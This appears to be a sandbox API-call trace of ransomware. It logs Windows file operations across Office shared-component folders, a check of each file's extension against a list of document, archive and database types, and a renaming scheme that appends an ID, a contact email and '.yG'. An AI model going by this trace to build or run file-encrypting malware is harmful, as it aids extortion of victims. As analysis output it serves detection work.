	[0045.074] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1
	[0045.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.074] lstrlenW (lpString=".doc") returned 4
	[0045.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.074] lstrlenW (lpString=".docx") returned 5
	[0045.074] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.075] lstrlenW (lpString=".pdf") returned 4
	[0045.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".xls") returned 4
	[0045.075] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".xlsx") returned 5
	[0045.075] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.075] lstrlenW (lpString=".ppt") returned 4
	[0045.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString=".zip") returned 4
	[0045.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.075] lstrlenW (lpString=".rar") returned 4
	[0045.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".bz2") returned 4
	[0045.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".7z") returned 3
	[0045.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString=".dbf") returned 4
	[0045.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString=".1cd") returned 4
	[0045.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString=".jpg") returned 4
	[0045.075] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.075] lstrlenW (lpString=".doc") returned 4
	[0045.075] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".docx") returned 5
	[0045.075] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.075] lstrlenW (lpString=".pdf") returned 4
	[0045.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.075] lstrlenW (lpString=".xls") returned 4
	[0045.076] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString=".xlsx") returned 5
	[0045.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.076] lstrlenW (lpString=".ppt") returned 4
	[0045.076] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.076] lstrlenW (lpString=".zip") returned 4
	[0045.076] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.076] lstrlenW (lpString=".rar") returned 4
	[0045.076] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString=".bz2") returned 4
	[0045.076] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString=".7z") returned 3
	[0045.076] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.076] lstrlenW (lpString=".dbf") returned 4
	[0045.076] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.076] lstrlenW (lpString=".1cd") returned 4
	[0045.076] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0045.076] lstrlenW (lpString=".jpg") returned 4
	[0045.076] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.076] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.076] lstrlenW (lpString="Alphabet.xml") returned 12
	[0045.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.597] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=791421) returned 1
	[0045.597] CloseHandle (hObject=0x2e0) returned 1
	[0045.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0045.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString=".doc") returned 4
	[0045.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString=".docx") returned 5
	[0045.598] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.598] lstrlenW (lpString=".pdf") returned 4
	[0045.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString=".xls") returned 4
	[0045.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString=".xlsx") returned 5
	[0045.598] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.598] lstrlenW (lpString=".ppt") returned 4
	[0045.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString=".zip") returned 4
	[0045.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.598] lstrlenW (lpString=".rar") returned 4
	[0045.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString=".bz2") returned 4
	[0045.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString=".7z") returned 3
	[0045.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString=".dbf") returned 4
	[0045.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString=".1cd") returned 4
	[0045.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.598] lstrlenW (lpString=".jpg") returned 4
	[0045.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString=".doc") returned 4
	[0045.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString=".docx") returned 5
	[0045.599] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.599] lstrlenW (lpString=".pdf") returned 4
	[0045.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString=".xls") returned 4
	[0045.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString=".xlsx") returned 5
	[0045.599] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.599] lstrlenW (lpString=".ppt") returned 4
	[0045.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString=".zip") returned 4
	[0045.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.599] lstrlenW (lpString=".rar") returned 4
	[0045.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString=".bz2") returned 4
	[0045.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString=".7z") returned 3
	[0045.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString=".dbf") returned 4
	[0045.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString=".1cd") returned 4
	[0045.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0045.599] lstrlenW (lpString=".jpg") returned 4
	[0045.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.600] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.600] lstrlenW (lpString="boxed-split.avi") returned 15
	[0045.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.721] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=84190) returned 1
	[0045.722] CloseHandle (hObject=0x2e0) returned 1
	[0045.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0045.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.722] lstrlenW (lpString=".doc") returned 4
	[0045.722] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.722] lstrlenW (lpString=".docx") returned 5
	[0045.722] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.722] lstrlenW (lpString=".pdf") returned 4
	[0045.722] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.722] lstrlenW (lpString=".xls") returned 4
	[0045.722] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.722] lstrlenW (lpString=".xlsx") returned 5
	[0045.722] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.722] lstrlenW (lpString=".ppt") returned 4
	[0045.723] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString=".zip") returned 4
	[0045.723] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".rar") returned 4
	[0045.723] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".bz2") returned 4
	[0045.723] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".7z") returned 3
	[0045.723] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString=".dbf") returned 4
	[0045.723] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString=".1cd") returned 4
	[0045.723] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString=".jpg") returned 4
	[0045.723] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.723] lstrlenW (lpString=".doc") returned 4
	[0045.723] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".docx") returned 5
	[0045.723] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.723] lstrlenW (lpString=".pdf") returned 4
	[0045.723] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".xls") returned 4
	[0045.723] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString=".xlsx") returned 5
	[0045.723] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.723] lstrlenW (lpString=".ppt") returned 4
	[0045.723] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.724] lstrlenW (lpString=".zip") returned 4
	[0045.724] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.724] lstrlenW (lpString=".rar") returned 4
	[0045.724] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.724] lstrlenW (lpString=".bz2") returned 4
	[0045.724] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.724] lstrlenW (lpString=".7z") returned 3
	[0045.724] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.724] lstrlenW (lpString=".dbf") returned 4
	[0045.724] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.724] lstrlenW (lpString=".1cd") returned 4
	[0045.724] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0045.724] lstrlenW (lpString=".jpg") returned 4
	[0045.724] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.724] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.724] lstrlenW (lpString="join.avi") returned 8
	[0045.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.912] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=199994) returned 1
	[0045.913] CloseHandle (hObject=0x334) returned 1
	[0045.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0045.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.913] lstrlenW (lpString=".doc") returned 4
	[0045.913] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString=".docx") returned 5
	[0045.913] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.913] lstrlenW (lpString=".pdf") returned 4
	[0045.913] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString=".xls") returned 4
	[0045.913] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString=".xlsx") returned 5
	[0045.913] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.913] lstrlenW (lpString=".ppt") returned 4
	[0045.913] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.913] lstrlenW (lpString=".zip") returned 4
	[0045.913] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString=".rar") returned 4
	[0045.913] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.913] lstrlenW (lpString=".bz2") returned 4
	[0045.913] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".7z") returned 3
	[0045.914] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".dbf") returned 4
	[0045.914] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".1cd") returned 4
	[0045.914] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".jpg") returned 4
	[0045.914] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".doc") returned 4
	[0045.914] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".docx") returned 5
	[0045.914] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.914] lstrlenW (lpString=".pdf") returned 4
	[0045.914] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".xls") returned 4
	[0045.914] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".xlsx") returned 5
	[0045.914] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.914] lstrlenW (lpString=".ppt") returned 4
	[0045.914] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".zip") returned 4
	[0045.914] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".rar") returned 4
	[0045.914] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".bz2") returned 4
	[0045.914] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.914] lstrlenW (lpString=".7z") returned 3
	[0045.914] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.914] lstrlenW (lpString=".dbf") returned 4
	[0045.914] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.915] lstrlenW (lpString=".1cd") returned 4
	[0045.915] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0045.915] lstrlenW (lpString=".jpg") returned 4
	[0045.915] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.915] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.915] lstrlenW (lpString="auxpad.xml") returned 10
	[0045.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.984] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=212) returned 1
	[0045.985] CloseHandle (hObject=0x334) returned 1
	[0045.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0045.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.985] lstrlenW (lpString=".doc") returned 4
	[0045.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString=".docx") returned 5
	[0045.985] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0045.985] lstrlenW (lpString=".pdf") returned 4
	[0045.985] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString=".xls") returned 4
	[0045.985] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString=".xlsx") returned 5
	[0045.985] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0045.985] lstrlenW (lpString=".ppt") returned 4
	[0045.985] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.985] lstrlenW (lpString=".zip") returned 4
	[0045.985] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.985] lstrlenW (lpString=".rar") returned 4
	[0045.985] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString=".bz2") returned 4
	[0045.985] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.985] lstrlenW (lpString=".7z") returned 3
	[0045.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".dbf") returned 4
	[0045.986] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".1cd") returned 4
	[0045.986] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".jpg") returned 4
	[0045.986] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
